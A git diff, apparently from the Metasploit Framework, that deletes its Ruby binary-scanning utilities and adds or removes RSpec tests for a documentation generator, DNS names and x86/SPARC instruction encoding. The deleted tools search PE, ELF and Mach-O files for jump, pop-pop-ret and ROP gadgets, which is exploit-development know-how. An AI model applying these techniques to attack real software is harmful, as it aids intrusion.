= opt2i(t) -end - -opt.on('-D', '--disasm', 'Disassemble the bytes at this address [PE|ELF]') do |t| - param['disasm'] = true -end - -opt.on('-F', '--filter-addresses [regex]', 'Filter addresses based on a regular expression [PE]') do |t| - param['filteraddr'] = t -end - -opt.on_tail("-h", "--help", "Show this message") do - $stderr.puts opt - exit -end - -begin - opt.parse! -rescue OptionParser::InvalidOption, OptionParser::MissingArgument - $stderr.puts "Invalid option, try -h for usage" - exit(1) -end - - -if mode.empty? - $stderr.puts "A mode must be selected" - $stderr.puts opt - exit(1) -end - -# check if the file is a directory if it is collect all the entries -ARGV.each do |file| - - if(File.directory?(file)) - dir = Dir.open(file) - dir.entries.each do |ent| - path = File.join(file, ent) - next if not File.file?(path) - files << File.join(path) - end - else - files << file - end -end - -# we need to do some work to figure out the file format -files.each do |file| - param['file'] = file - - bin = Metasm::AutoExe.decode_file(file) if not file.empty? - - if bin.kind_of?(Metasm::PE) - case mode - when "jump" - worker = Rex::PeScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::PeScan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::PeScan::Scanner::RegexScanner - when "analyze-address" - worker = Rex::PeScan::Search::DumpRVA - when "analyze-offset" - worker = Rex::PeScan::Search::DumpOffset - when "fingerprint" - worker = Rex::PeScan::Analyze::Fingerprint - when "info" - worker = Rex::PeScan::Analyze::Information - when "ripper" - worker = Rex::PeScan::Analyze::Ripper - when "context" - worker = Rex::PeScan::Analyze::ContextMapDumper - else - $stderr.puts("Mode unsupported by file format") - end - - pe_klass = Rex::PeParsey::Pe - begin - pe = pe_klass.new_from_file(file, true) - rescue ::Interrupt - raise $! - rescue Rex::PeParsey::FileHeaderError - next if $!.message == "Couldn't find the PE magic!" - raise $! - rescue Errno::ENOENT - $stdout.puts("File does not exist: #{file}") - next - rescue ::Rex::PeParsey::SkipError - next - rescue ::Exception => e - $stdout.puts "[#{file}] #{e.class}: #{e}" - next - end - - if (param['imagebase']) - pe.image_base = param['imagebase']; - end - - if not worker - $stderr.puts("A mode could not be set for this file.") - next - end - - o = worker.new(pe) - o.scan(param) - - pe.close - - elsif bin.kind_of?(Metasm::ELF) - case mode - when "jump" - worker = Rex::ElfScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::ElfScan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::ElfScan::Scanner::RegexScanner - when "analyze-address" - worker = Rex::ElfScan::Search::DumpRVA - when "analyze-offset" - worker = Rex::ElfScan::Search::DumpOffset - else - $stderr.puts("Mode unsupported by file format") - end - - begin - elf = Rex::ElfParsey::Elf.new_from_file(file, true) - rescue Rex::ElfParsey::ElfHeaderError - if $!.message == 'Invalid magic number' - $stderr.puts("Skipping #{file}: #{$!}") - next - end - raise $! - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end - - if (param['imagebase']) - elf.base_addr = param['imagebase']; - end - - if not worker - $stderr.puts("A mode could not be set for this file.") - next - end - - o = worker.new(elf) - o.scan(param) - - elf.close - - elsif bin.kind_of?(Metasm::MachO) - case mode - when "jump" - worker = Rex::MachScan::Scanner::JmpRegScanner - when "pop" - worker = Rex::MachScan::Scanner::PopPopRetScanner - when "regex" - worker = Rex::MachScan::Scanner::RegexScanner - else - $stderr.puts("Mode unsupported by file format") - end - - begin - mach = Rex::MachParsey::Mach.new_from_file(file, true) - o = worker.new(mach) - o.scan(param) - mach.close - rescue Rex::MachParsey::MachHeaderError - $stderr.puts("File is not a Mach-O binary, trying Fat..\n") - begin - fat = Rex::MachParsey::Fat.new_from_file(file, true) - o = worker.new(fat) - o.scan(param) - fat.close - rescue - $stderr.puts("Error: " + $!.to_s) - $stderr.puts("Skipping #{file}") - end - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end - end - - if not worker - $stderr.puts("Unsupported file format") - $stderr.puts("Skipping #{file}") - next - end -end diff --git a/msfelfscan b/msfelfscan deleted file mode 100755 index 4d9c0d0312..0000000000 --- a/msfelfscan +++ /dev/null @@ -1,135 +0,0 @@ -#!/usr/bin/env ruby -# -*- coding: binary -*- -# -# $Id$ -# $Revision$ -# - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end - -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'msfenv' - - - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -require 'rex/elfparsey' -require 'rex/elfscan' -require 'rex/arch/x86' -require 'optparse' - -def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i -end - -opt = OptionParser.new - -opt.banner = "Usage: #{$PROGRAM_NAME} [mode] [targets]" -opt.separator('') -opt.separator('Modes:') - -worker = nil -param = {} - -opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::ElfScan::Scanner::JmpRegScanner - param['args'] = regnums -end - -opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::ElfScan::Scanner::PopPopRetScanner - param['args'] = t -end - -opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::ElfScan::Scanner::RegexScanner - param['args'] = t -end - -opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address') do |t| - worker = Rex::ElfScan::Search::DumpRVA - param['args'] = opt2i(t) -end - -opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset') do |t| - worker = Rex::ElfScan::Search::DumpOffset - param['args'] = opt2i(t) -end - -opt.separator('') -opt.separator('Options:') - -opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) -end - -opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) -end - -opt.on('-D', '--disasm', 'Disassemble the bytes at this address') do |t| - param['disasm'] = true -end - -opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) -end - -opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit -end - -begin - opt.parse! -rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) -end - -if (! worker) - puts opt - exit(1) -end - -ARGV.each do |file| - - param['file'] = file - - begin - elf = Rex::ElfParsey::Elf.new_from_file(file, true) - rescue Rex::ElfParsey::ElfHeaderError - if $!.message == 'Invalid magic number' - $stderr.puts("Skipping #{file}: #{$!}") - next - end - raise $! - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end - - if (param['imagebase']) - elf.base_addr = param['imagebase']; - end - - o = worker.new(elf) - o.scan(param) - - elf.close - -end diff --git a/msfmachscan b/msfmachscan deleted file mode 100755 index 4b0ba7c497..0000000000 --- a/msfmachscan +++ /dev/null @@ -1,116 +0,0 @@ -#!/usr/bin/env ruby -# -*- coding: binary -*- -# -# $Id$ -# $Revision$ -# - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end - -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'msfenv' - - - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -require 'rex/machparsey' -require 'rex/machscan' -require 'rex/arch/x86' -require 'optparse' - - -def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i -end - -opt = OptionParser.new - -opt.banner = "Usage: #{$PROGRAM_NAME} [mode] [targets]" -opt.separator('') -opt.separator('Modes:') - -worker = nil -param = {} - -opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::MachScan::Scanner::JmpRegScanner - param['args'] = regnums -end - -opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::MachScan::Scanner::PopPopRetScanner - param['args'] = t -end - -opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::MachScan::Scanner::RegexScanner - param['args'] = t -end - -opt.separator('') -opt.separator('Options:') - -opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) -end - -opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) -end - -opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) -end - -opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit -end - -begin - opt.parse! -rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) -end - -if (! worker) - puts opt - exit(1) -end - -ARGV.each do |file| - - param['file'] = file - - begin - mach = Rex::MachParsey::Mach.new_from_file(file, true) - o = worker.new(mach) - o.scan(param) - mach.close - rescue Rex::MachParsey::MachHeaderError - $stderr.puts("File is not a Mach-O binary, trying Fat..\n") - fat = Rex::MachParsey::Fat.new_from_file(file, true) - o = worker.new(fat) - o.scan(param) - fat.close - rescue Errno::ENOENT - $stderr.puts("File does not exist: #{file}") - next - end -end - diff --git a/msfpescan b/msfpescan deleted file mode 100755 index e7819dc92d..0000000000 --- a/msfpescan +++ /dev/null @@ -1,199 +0,0 @@ -#!/usr/bin/env ruby -# -*- coding: binary -*- -# -# $Id$ -# $Revision$ -# - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end - -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'msfenv' - - - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -require 'rex/peparsey' -require 'rex/pescan' -require 'rex/arch/x86' -require 'optparse' - -def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i -end - - -# -# Right now this program is a bit shakey... -# -# - It tries to error on the side of caution, so it will try for a -# false negative vs a false positive. -# - It doesn't account for the entire PE image neccesairly -# - It wouldn't find hits that overlap sections -# - etc etc -# - -opt = OptionParser.new - -opt.banner = "Usage: #{$PROGRAM_NAME} [mode] [targets]" -opt.separator('') -opt.separator('Modes:') - -worker = nil -param = {} - -pe_klass = Rex::PeParsey::Pe - -opt.on('-j', '--jump [regA,regB,regC]', 'Search for jump equivalent instructions') do |t| - # take csv of register names (like eax,ebx) and convert - # them to an array of register numbers - regnums = t.split(',').collect { |o| - begin - Rex::Arch::X86.reg_number(o) - rescue - puts "Invalid register \"#{o}\"" - exit(1) - end - } - worker = Rex::PeScan::Scanner::JmpRegScanner - param['args'] = regnums -end - -opt.on('-p', '--poppopret', 'Search for pop+pop+ret combinations') do |t| - worker = Rex::PeScan::Scanner::PopPopRetScanner - param['args'] = t -end - -opt.on('-r', '--regex [regex]', 'Search for regex match') do |t| - worker = Rex::PeScan::Scanner::RegexScanner - param['args'] = t -end - -opt.on('-a', '--analyze-address [address]', 'Display the code at the specified address') do |t| - worker = Rex::PeScan::Search::DumpRVA - param['args'] = opt2i(t) -end - -opt.on('-b', '--analyze-offset [offset]', 'Display the code at the specified offset') do |t| - worker = Rex::PeScan::Search::DumpOffset - param['args'] = opt2i(t) -end - -opt.on('-f', '--fingerprint', 'Attempt to identify the packer/compiler') do |t| - worker = Rex::PeScan::Analyze::Fingerprint - param['database'] = File.join(File.dirname(msfbase), 'data', 'msfpescan', 'identify.txt') -end - -opt.on('-i', '--info', 'Display detailed information about the image') do |t| - worker = Rex::PeScan::Analyze::Information -end - -opt.on('-R', '--ripper [directory]', 'Rip all module resources to disk ') do |t| - worker = Rex::PeScan::Analyze::Ripper - param['dir'] = t -end - -opt.on('--context-map [directory]', 'Generate context-map files') do |t| - worker = Rex::PeScan::Analyze::ContextMapDumper - param['dir'] = t -end - -opt.separator('') -opt.separator('Options:') - -opt.on('-M', '--memdump', 'The targets are memdump.exe directories') do |t| - pe_klass = Rex::PeParsey::PeMemDump -end - - -opt.on('-A', '--after [bytes]', 'Number of bytes to show after match (-a/-b)') do |t| - param['after'] = opt2i(t) -end - -opt.on('-B', '--before [bytes]', 'Number of bytes to show before match (-a/-b)') do |t| - param['before'] = opt2i(t) -end - -opt.on('-D', '--disasm', 'Disassemble the bytes at this address') do |t| - param['disasm'] = true -end - -opt.on('-I', '--image-base [address]', 'Specify an alternate ImageBase') do |t| - param['imagebase'] = opt2i(t) -end - -opt.on('-F', '--filter-addresses [regex]', 'Filter addresses based on a regular expression') do |t| - param['filteraddr'] = t -end - -opt.on_tail("-h", "--help", "Show this message") do - puts opt - exit -end - -begin - opt.parse! -rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit(1) -end - -if (! worker) - puts opt - exit(1) -end - - -files = [] - -ARGV.each do |file| - - if(File.directory?(file)) - dir = Dir.open(file) - dir.entries.each do |ent| - path = File.join(file, ent) - next if not File.file?(path) - files << File.join(path) - end - else - files << file - end -end - -files.each do |file| - $stdout.puts "" - - param['file'] = file - - begin - pe = pe_klass.new_from_file(file, true) - rescue ::Interrupt - raise $! - rescue Rex::PeParsey::FileHeaderError - next if $!.message == "Couldn't find the PE magic!" - raise $! - rescue Errno::ENOENT - $stdout.puts("File does not exist: #{file}") - next - rescue ::Rex::PeParsey::SkipError - next - rescue ::Exception => e - $stdout.puts "[#{file}] #{e.class}: #{e}" - next - end - - if (param['imagebase']) - pe.image_base = param['imagebase']; - end - - o = worker.new(pe) - o.scan(param) - - pe.close - -end -$stdout.puts "" diff --git a/msfrop b/msfrop deleted file mode 100755 index bb57d69664..0000000000 --- a/msfrop +++ /dev/null @@ -1,173 +0,0 @@ -#!/usr/bin/env ruby -# -*- coding: binary -*- -# -# $Id$ -# -# This tool will collect, export, and import ROP gadgets -# from various file formats (PE, ELF, Macho) -# $Revision$ -# - -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end - -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'msfenv' - - - -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - -require 'rex' -require 'rex/ropbuilder' -require 'rex/ui/text/output/stdio' -require 'rex/ui/text/color' -require 'optparse' - -def opt2i(o) - o.index("0x")==0 ? o.hex : o.to_i -end - -opts = {} -color = true - -opt = OptionParser.new -opt.banner = "Usage #{$PROGRAM_NAME}

      Hello world!

      ') + end + end + end + + describe 'normalize_pull_requests' do + context 'when a hash of pull requests are given' do + it 'returns HTML links' do + expect(subject.send(:normalize_pull_requests, good_pull_requests)).to include('*
      generate') + end + end + + context 'when the module is a kind of Msf::Auxiliary::Scanner' do + it 'returns the demo of AUXILIARY_SCANNER_DEMO_TEMPLATE' do + template = Msf::Util::DocumentGenerator::DocumentNormalizer::AUXILIARY_SCANNER_DEMO_TEMPLATE + expect(subject.send(:load_demo_template, msf_mod, template)).to include('This module is a scanner module') + end + end + + context 'when the module does not have a known kind' do + it 'returns the demo of GENERIC_DEMO_TEMPLATE' do + template = Msf::Util::DocumentGenerator::DocumentNormalizer::GENERIC_DEMO_TEMPLATE + expect(subject.send(:load_demo_template, msf_mod, template)).to include('msf exploit') + end + end + end + +end diff --git a/spec/lib/msf/util/document_generator/pull_request_finder_spec.rb b/spec/lib/msf/util/document_generator/pull_request_finder_spec.rb new file mode 100644 index 0000000000..edd19163b8 --- /dev/null +++ b/spec/lib/msf/util/document_generator/pull_request_finder_spec.rb @@ -0,0 +1,162 @@ +require 'rex' +require 'msf/util/document_generator' +require 'octokit' +require 'net/http' + +RSpec.describe Msf::Util::DocumentGenerator::PullRequestFinder do + + let(:author_name) { 'name' } + + let(:commit) do + c = double('commit') + allow(c).to receive(:author).and_return({author: author_name, login: author_name}) + allow(c).to receive(:sha).and_return('sha') + c + end + + let(:commits) do + [ commit ] + end + + let(:pr_num) { '5486' } + + let(:html) do + %Q| + + + +
    • (##{pr_num})
    • + + + | + end + + subject do + obj = described_class.new + obj.git_access_token = 'GITHUB_AUTH_TOKEN' + + octo = Octokit::Client.new + allow(octo).to receive(:commits).and_return(commits) + allow(obj).to receive(:git_client).and_return(octo) + obj + end + + let(:http_response) do + req = double('HttpResponse') + allow(req).to receive(:body).and_return(html) + req + end + + let(:module_name) { 'modules/windows/browser/adobe_flash_copy_pixels_to_byte_array.rb' } + + let(:msf_mod) do + mod = double('Msf::Module') + init = double('Msf::Module#initialize') + allow(init).to receive(:source_location).and_return([ module_name ]) + allow(mod).to receive(:method).with(any_args).and_return(init) + mod + end + + before(:each) do + allow(ENV).to receive(:has_key?).and_return(true) + allow_any_instance_of(Net::HTTP).to receive(:request).with(any_args).and_return(http_response) + end + + describe '#initialize' do + it 'sets the owner property' do + expect(subject.owner).to eq('rapid7') + end + + it 'sets the repository' do + expect(subject.repository).to eq('rapid7/metasploit-framework') + end + + it 'sets the branch' do + expect(subject.branch).to eq('master') + end + + it 'sets the git access token' do + subject1 = described_class.new + subject1.git_access_token = 'FAKE KEY' + subject2 = described_class.new + expect(subject2.git_access_token).not_to eq(subject1.git_access_token) + end + + it 'sets Octokit::Client' do + expect(subject.git_client).to be_kind_of(Octokit::Client) + end + end + + describe '#search' do + context 'when a module is given' do + it 'returns a hash of pull requests' do + result = subject.search(msf_mod) + expect(result).to be_kind_of(Hash) + expect(result.keys.first).to eq(pr_num) + expect(result.first[1][:number]).to eq(pr_num) + expect(result.first[1][:title]).to include('Merged Pull Request') + end + end + end + + describe '#get_normalized_module_name' do + context 'when a module is given' do + it 'returns the module name' do + expect(subject.send(:get_normalized_module_name, msf_mod)).to eq(module_name) + end + end + end + + describe '#get_commits_from_file' do + context 'when a module path is given' do + it 'returns commits' do + expect(subject.send(:get_commits_from_file, module_name)).to eq(commits) + end + end + end + + describe '#get_author' do + context 'when a commit is given' do + it 'returns the author name' do + expect(subject.send(:get_author, commit)).to eq(author_name) + end + end + end + + describe '#is_author_blacklisted?' do + context 'when a commit authored by tabassassin is given' do + it 'returns true' do + c = double('commit') + allow(c).to receive(:author).and_return({author: 'tabassassin', login: 'tabassassin'}) + expect(subject.send(:is_author_blacklisted?, c)).to be_truthy + end + end + + context 'when a commit authored by a human is given' do + it 'returns false' do + expect(subject.send(:is_author_blacklisted?, commit)).to be_falsey + end + end + end + + describe '#get_pull_requests_from_commits' do + context 'when commits are given' do + it 'returns pull requests' do + pr = subject.send(:get_pull_requests_from_commits, commits) + expect(pr).to be_kind_of(Hash) + expect(pr.keys.first).to eq(pr_num) + end + end + end + + describe '#get_pull_request_from_commit' do + context 'when a commit is given' do + it 'returns a pull request' do + pr = subject.send(:get_pull_request_from_commit, commit) + expect(pr).to be_kind_of(Hash) + expect(pr[:number]).to eq(pr_num) + end + end + end + +end diff --git a/spec/lib/net/dns/names/names_spec.rb b/spec/lib/net/dns/names/names_spec.rb new file mode 100644 index 0000000000..96ea39a86f --- /dev/null +++ b/spec/lib/net/dns/names/names_spec.rb @@ -0,0 +1,129 @@ +require 'msf/core' + +RSpec.describe Net::DNS::Names do + subject do + obj = Object.new + obj.extend(described_class) + end + + describe '#dn_expand' do + context 'when offset is great than packet length' do + let(:packet) do + 'AAAAA' + end + + let(:offset) do + 10 + end + + it 'raises an ExpandError exception' do + expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError) + end + end + + context 'when packet length is less than offset + INT16SZ' do + let(:packet) do + "\xc0" + end + + let(:offset) do + 0 + end + + it 'raises an ExpandError exception' do + expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError) + end + end + + context 'when packet length is less than offset + packet length' do + let(:packet) do + 'AAAAA' + end + + let(:offset) do + 4 + end + + it 'raises an ExpandError exception' do + expect { subject.dn_expand(packet, offset) }.to raise_exception(ExpandError) + end + end + end + + describe '#pack_name' do + context 'when name data size is larger than 255 bytes' do + let(:name) do + 'A' * (255+1) + end + + it 'raises an ArgumentError exception' do + expect { subject.pack_name(name) }.to raise_exception(ArgumentError) + end + end + + context 'when label data is larger than 63 bytes' do + let(:name) do + 'A' * (63+1) + '.' + end + + it 'raises an ArgumentError exception' do + expect { subject.pack_name(name) }.to raise_exception(ArgumentError) + end + end + end + + describe '#names_array' do + let(:name) do + "AAA.AAA" + end + + it 'returns an Array' do + expect(subject.names_array(name)).to be_kind_of(Array) + end + end + + describe '#dn_comp' do + let(:name) do + 'AAAA' + end + + let(:offset) do + 0 + end + + let(:compnames) do + {} + end + + it 'returns 3 values' do + v = subject.dn_comp(name, offset, compnames) + expect(v.length).to eq(3) + expect(v[0]).to be_kind_of(String) + expect(v[1]).to be_kind_of(Fixnum) + expect(v[2]).to be_kind_of(Hash) + end + end + + describe '#valid?' do + context 'when FQDN is valid' do + let(:fqdn) do + 'example.com' + end + + it 'returns the FQDN' do + expect(subject.valid?(fqdn)).to eq(fqdn) + end + + end + + context 'when FQDN is not valid' do + let(:fqdn) do + 'INVALID' + end + + it 'raises ArgumentError exception' do + expect { subject.valid?(fqdn) }.to raise_exception(ArgumentError) + end + end + end +end \ No newline at end of file diff --git a/spec/lib/rex/arch/sparc_spec.rb b/spec/lib/rex/arch/sparc_spec.rb deleted file mode 100644 index b8ec74532a..0000000000 --- a/spec/lib/rex/arch/sparc_spec.rb +++ /dev/null @@ -1,153 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/arch/sparc' - -RSpec.describe Rex::Arch::Sparc do - - describe ".sethi" do - subject { described_class.sethi(constant, dst) } - - let(:constant) { 0 } - - context "when valid dst register" do - let(:dst) { 'g3' } - - it "returns an String" do - is_expected.to be_kind_of(String) - end - - it "returns a 4 bytes length String" do - expect(subject.length).to eq(4) - end - - it "encodes a valid sethi instruction" do - is_expected.to eq("\x07\x00\x00\x00") - end - end - - context "when invalid dst register" do - let(:dst) { 'error' } - - it "raises an error" do - expect { subject }.to raise_error(NameError) - end - end - end - - describe ".ori" do - subject { described_class.ori(src, constant, dst) } - - let(:constant) { 0 } - - context "when valid registers" do - let(:src) { 'g5' } - let(:dst) { 'g3' } - - it "returns an String" do - is_expected.to be_kind_of(String) - end - - it "returns a 4 bytes length String" do - expect(subject.length).to eq(4) - end - - it "encodes a valid ori instruction" do - is_expected.to eq("\x86\x11\x60\x00") - end - end - - context "when invalid src register" do - let(:src) { 'invalid' } - let(:dst) { 'g3' } - - it "raises an error" do - expect { subject }.to raise_error(NameError) - end - end - - context "when invalid dst register" do - let(:src) { 'g5' } - let(:dst) { 'invalid' } - - it "raises an error" do - expect { subject }.to raise_error(NameError) - end - end - end - - describe ".set" do - subject { described_class.set(constant, dst) } - - context "when invalid dst register" do - let(:constant) { 0 } - let(:dst) { 'error' } - - it "raises an error" do - expect { subject }.to raise_error(NameError) - end - end - - context "when constant <= 4095 and constant >= 0" do - let(:constant) { 0 } - let(:dst) { 'g3' } - - it "uses ori instruction" do - expect(described_class).to receive(:ori).and_call_original - is_expected.to eq("\x86\x10\x20\x00") - end - end - - context "when constant & 0x3ff != 0" do - let(:constant) { 0x1001 } - let(:dst) { 'g3' } - - it "uses set dword instruction" do - expect(described_class).to receive(:set_dword).and_call_original - is_expected.to eq("\x07\x00\x00\x04\x86\x10\xe0\x01") - end - end - - context "when other constant" do - let(:constant) { 0x1c00 } - let(:dst) { 'g3' } - - it "uses sethi instruction" do - expect(described_class).to receive(:sethi).and_call_original - is_expected.to eq("\x07\x00\x00\x07") - end - end - end - - describe ".set_dword" do - subject { described_class.set_dword(constant, dst) } - - let(:constant) { 0x1001 } - - context "when valid dst register" do - let(:dst) { 'g3' } - - it "returns an String" do - is_expected.to be_kind_of(String) - end - - it "returns a 8 bytes length String" do - expect(subject.length).to eq(8) - end - - it "encodes a valid sequence of sethi and ori instructions" do - is_expected.to eq("\x07\x00\x00\x04\x86\x10\xe0\x01") - end - end - - context "when invalid dst register" do - let(:dst) { 'error' } - - it "raises an error" do - expect { subject }.to raise_error(NameError) - end - end - end - - -end diff --git a/spec/lib/rex/arch/x86_spec.rb b/spec/lib/rex/arch/x86_spec.rb deleted file mode 100644 index 7d5fa65f64..0000000000 --- a/spec/lib/rex/arch/x86_spec.rb +++ /dev/null @@ -1,1042 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/arch/x86' - -RSpec.describe Rex::Arch::X86 do - - describe ".reg_number" do - subject { described_class.reg_number(register) } - - context "when valid argument" do - context "in upcase" do - let(:register) { "EAX" } - it { is_expected.to eq(Rex::Arch::X86::EAX) } - end - - context "in downcase" do - let(:register) { "esi" } - it { is_expected.to eq(Rex::Arch::X86::ESI) } - end - end - - context "when invalid argument" do - let(:register) { "non_existent" } - it "raises an error" do - expect { subject }.to raise_error(NameError) - end - end - end - - describe ".pack_word" do - subject { described_class.pack_word(num) } - let(:num) { 0x4142 } - - it "packs as unsigned 16 little endian " do - is_expected.to eq("BA") - end - - context "when arguments longer than 16-bit unsigned" do - let(:num) { 0x41414242 } - it "truncates" do - is_expected.to eq("BB") - end - end - end - - - describe ".pack_dword" do - subject { described_class.pack_dword(num) } - let(:num) { 0x41424344 } - - it "packs as unsigned 32 little endian " do - is_expected.to eq("DCBA") - end - - context "when arguments longer than 32-bit unsigned" do - let(:num) { 0x4142424242 } - it "truncates" do - is_expected.to eq("BBBB") - end - end - end - - describe ".pack_lsb" do - subject { described_class.pack_lsb(num) } - let(:num) { 0x41424344 } - - it "returns the least significant byte of a packed dword" do - is_expected.to eq("D") - end - end - - describe "._check_reg" do - context "when single argument" do - context "is valid" do - it { expect(described_class._check_reg(Rex::Arch::X86::EDI)).to be_nil } - end - - context "is invalid" do - it { expect { described_class._check_reg(0xfffffff) }.to raise_error(Rex::ArgumentError) } - end - end - - context "when several arguments" do - context "are valid" do - it { expect(described_class._check_reg(Rex::Arch::X86::EDI, Rex::Arch::X86::ESI)).to be_nil } - end - - context "include an invalid one" do - it { expect { described_class._check_reg(Rex::Arch::X86::EDI, 0xfffffff) }.to raise_error(Rex::ArgumentError) } - end - end - end - - describe "._check_badchars" do - subject { described_class._check_badchars("Test", badchars) } - - context "when data contains badchars" do - let(:badchars) { "sac" } - - it "raises an error" do - expect { subject }.to raise_error(Rex::RuntimeError) - end - end - - context "when data doesn't contain badhars" do - let(:badchars) { "dac" } - it { is_expected.to eq("Test") } - end - end - - describe ".fpu_instructions" do - subject { described_class.fpu_instructions } - - it "returns an Array" do - is_expected.to be_an(Array) - end - - it "includes valid FPU instructions" do - is_expected.to include("\xd9\xd0") - is_expected.to include("\xda\xc0") - end - end - - describe ".jmp_reg" do - subject { described_class.jmp_reg(reg) } - - context "when valid register" do - let(:reg) { "eax" } - it { is_expected.to eq("\xFF\xE0") } - end - - context "when invalid register" do - let(:reg) { "non_existent"} - it "raises an error" do - expect { subject }.to raise_error(NameError) - end - end - end - - describe ".rel_number" do - - context "when no delta argument" do - subject { described_class.rel_number(num) } - - context "num argument starts with $+" do - let(:num) { "$+20" } - it { is_expected.to eq(20)} - end - - context "num argument is $+" do - let(:num) { "$+" } - it { is_expected.to eq(0)} - end - - context "num argument starts with $-" do - let(:num) { "$-20" } - it { is_expected.to eq(-20)} - end - - context "num argument is $-" do - let(:num) { "$-" } - it { is_expected.to eq(0)} - end - - context "num argument starts with 0x" do - let(:num) { "0x20" } - it { is_expected.to eq(32)} - end - - context "num argument is 0x" do - let(:num) { "0x" } - it { is_expected.to eq(0)} - end - - context "num argument is other string" do - let(:num) { "20" } - it "raises error" do - expect { subject }.to raise_error(TypeError) - end - end - - context "num argument is a number" do - let(:num) { 20 } - it { is_expected.to eq(20) } - end - end - - context "when there is delta argument" do - subject { described_class.rel_number(num, delta) } - let(:delta) { 20 } - - context "num argument starts with $+" do - let(:num) { "$+20" } - it { is_expected.to eq(40)} - end - - context "num argument is $+" do - let(:num) { "$+" } - it { is_expected.to eq(20)} - end - - context "num argument starts with $-" do - let(:num) { "$-20" } - it { is_expected.to eq(0)} - end - - context "num argument is $-" do - let(:num) { "$-" } - it { is_expected.to eq(20)} - end - - context "num argument starts with 0x" do - let(:num) { "0x20" } - it { is_expected.to eq(52)} - end - - context "num argument is 0x" do - let(:num) { "0x" } - it { is_expected.to eq(20)} - end - - context "num argument is other string" do - let(:num) { "20" } - it "raises error" do - expect { subject }.to raise_error(TypeError) - end - end - - context "num argument is a number" do - let(:num) { 20 } - it { is_expected.to eq(20) } - end - end - end - - describe ".loop" do - subject { described_class.loop(offset) } - - context "offset argument is number" do - context "1" do - let(:offset) { 1 } - it { is_expected.to eq("\xE2\x01") } - end - - context "255" do - let(:offset) { 255 } - it { is_expected.to eq("\xE2\xFF") } - end - - context "within half-word range" do - let(:offset) { 65534 } - it "truncates offset" do - is_expected.to eq("\xE2\xFE") - end - end - end - - context "offset argument is string" do - context "starting with $+" do - let(:offset) { "$+20" } - it { is_expected.to eq("\xe2\x12") } - end - - context "$+" do - let(:offset) { "$+" } - it { is_expected.to eq("\xe2\xfe") } - end - - context "starting with $-" do - let(:offset) { "$-20" } - it { is_expected.to eq("\xe2\xea") } - end - - context "$-" do - let(:offset) { "$-" } - it { is_expected.to eq("\xe2\xfe") } - end - - context "starting with 0x" do - let(:offset) { "0x20" } - it { is_expected.to eq("\xe2\x1e") } - end - - context "0x" do - let(:offset) { "0x" } - it { is_expected.to eq("\xe2\xfe") } - end - - context "0x41ff" do - let(:offset) { "0x41ff" } - it "truncates offset" do - is_expected.to eq("\xe2\xfd") - end - end - - context "starting in another way" do - let(:offset) { "20" } - it "raises error" do - 